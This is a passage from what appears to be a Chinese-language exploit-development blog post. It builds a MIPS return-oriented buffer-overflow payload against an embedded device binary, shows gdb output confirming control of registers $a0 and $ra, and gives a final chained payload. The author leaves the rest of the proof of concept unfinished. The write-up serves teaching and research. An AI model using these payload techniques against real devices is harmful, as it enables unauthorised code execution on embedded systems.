payload = "A" * 95 # Padding 1 payload += "\x00\x41\x54\xd4" # 0x004154d4; our magic gadget to control $a0, $ra and jump to $ra payload += "C" * 16 # Padding 2 payload += "\x76\xff\xf4\x9c" # 0x76FFF49C; random valid memory address to bypass the crash at 0x40b24c (sw zero,0(v0)) # 881 payload += "AAnAAoAApAAqAArAAsAAtAAuAAvAAwAAxAAyAAzAA1AA2AA3AA4AA5AA6AA7AA8AA9AA0ABBABCABDABEABFABGABHABIABJABKABLABMABNABOABPABQABRABSABTABUABVABWABXABYABZABaABbABcABdABeABfABgABhABiABjABkABlABmABnABoABpABqABrABsABtABuABvABwABxAByABzAB1AB2AB3AB4AB5AB6AB7AB8AB9AB0ACBACCACDACEACFACGACHACIACJACKACLACMACNACOACPACQACRACSACTACUACVACWACXACYACZACaACbACcACdACeACfACgAChACiACjACkAClACmACnACoACpACqACrACsACtACuACvACwACxACyACzAC1AC2AC3AC4AC5AC6AC7AC8AC9AC0ADBADCADDADEADFADGADHADIADJADKADLADMADNADOADPADQADRADSADTADUADVADWADXADYADZADaADbADcADdADeADfADgADhADiADjADkADlADmADnADoADpADqADrADsADtADuADvADwADxADyADzAD1AD2AD3AD4AD5AD6AD7AD8AD9AD0AEBAECAEDAEEAEFAEGAEHAEIAEJAEKAELAEMAENAEOAEPAEQAERAESAETAEUAEVAEWAEXAEYAEZAEaAEbAEcAEdAEeAEfAEgAEhAEiAEjAEkAElAEmAEnAEoAEpAEqAErAEsAEtAEuAEvAEwAExAEyAEzAE1AE2AE3AE4AE5AE6AE7AE8AE9AE0AFBAFCAFDAFEAFFAFGAFHAFIAFJAFKAFLAFMAFNAFOAFPAFQAFRAFSAFTAFUAFVAFWAFXAFYAFZAFaAF"
测试一下(将断点打在0x4154e0处,跳转的位置):
(gdb) x/i $pc => 0x4154e0 <__floatsidf+64>: jr ra 0x4154e4 <__floatsidf+68>: addiu sp,sp,56 (gdb) x/wx $a0 0x76fff550: 0x416f4141 (gdb) x/wx $ra 0x41774141: Cannot access memory at address 0x41774141
修改一下payload
payload = "A" * 95 # Padding 1 payload += "\x00\x41\x54\xd4" # 0x004154d4; our magic gadget to control $a0, $ra and jump to $ra payload += "C" * 16 # Padding 2 payload += "\x76\xff\xf4\x9c" # 0x76FFF49C; random valid memory address to bypass the crash at 0x40b24c (sw zero,0(v0)) payload += "A" * 4 # Padding 3 payload += "B" * 4 #Value that will take $a0 payload += "A" * 20 # Padding 4 payload += "C" * 4 #Value for $ra
有点小兴奋
(gdb) x/i $pc => 0x4154e0 <__floatsidf+64>: jr ra 0x4154e4 <__floatsidf+68>: addiu sp,sp,56 (gdb) x/wx $a0 0x76fff550: 0x42424242 (gdb) x/i $ra 0x43434343: Cannot access memory at address 0x43434342
现在就可以使用由我们控制的参数调用文件中的任何函数。这个PoC后面的部分留给读者继续学习,但请记住:我们使用的gadget用于修改$ gp(lw gp, 0x10(sp))。
0x10是为了不让程序崩溃,所以为了设置其他地址,可以用一个小跳转在后面写入payload,并使用addiu sp, sp, 0xc0达到地址0x0040b8a0。
所以最终的payload如下:
payload = "A" * 95 # Padding 1 payload += "\x00\x40\xb8\x98" # Short jump backwards payload += "C" * 16 # Padding 2 payload += "\x76\xff\xf4\x9c" # 0x76FFF49C; random valid memory address to bypass the crash at 0x40b24c (sw zero,0(v0)) payload += "D" * 168 # Padding 3 payload += "\x00\x41\x54\xd4" # 0x004154d4; our magic gadget to control $a0, $ra and jump to $ra payload += "E" * 12 # Padding 4 payload += "X" * # Value for $gp, change it if needed. payload += "F" * 4 # Padding 5 payload += "Y" * 4 # Value for $a0 payload += "G" * 4 # Padding 6 payload += "Z" * 4 # Value for $ra
0x06总结
今年夏天在嵌入式设备上的研究有一些很酷的成果,比如这个漏洞就是其中之一,但更重要的是,这篇文章是了解更多有关漏洞利用的一个好方法。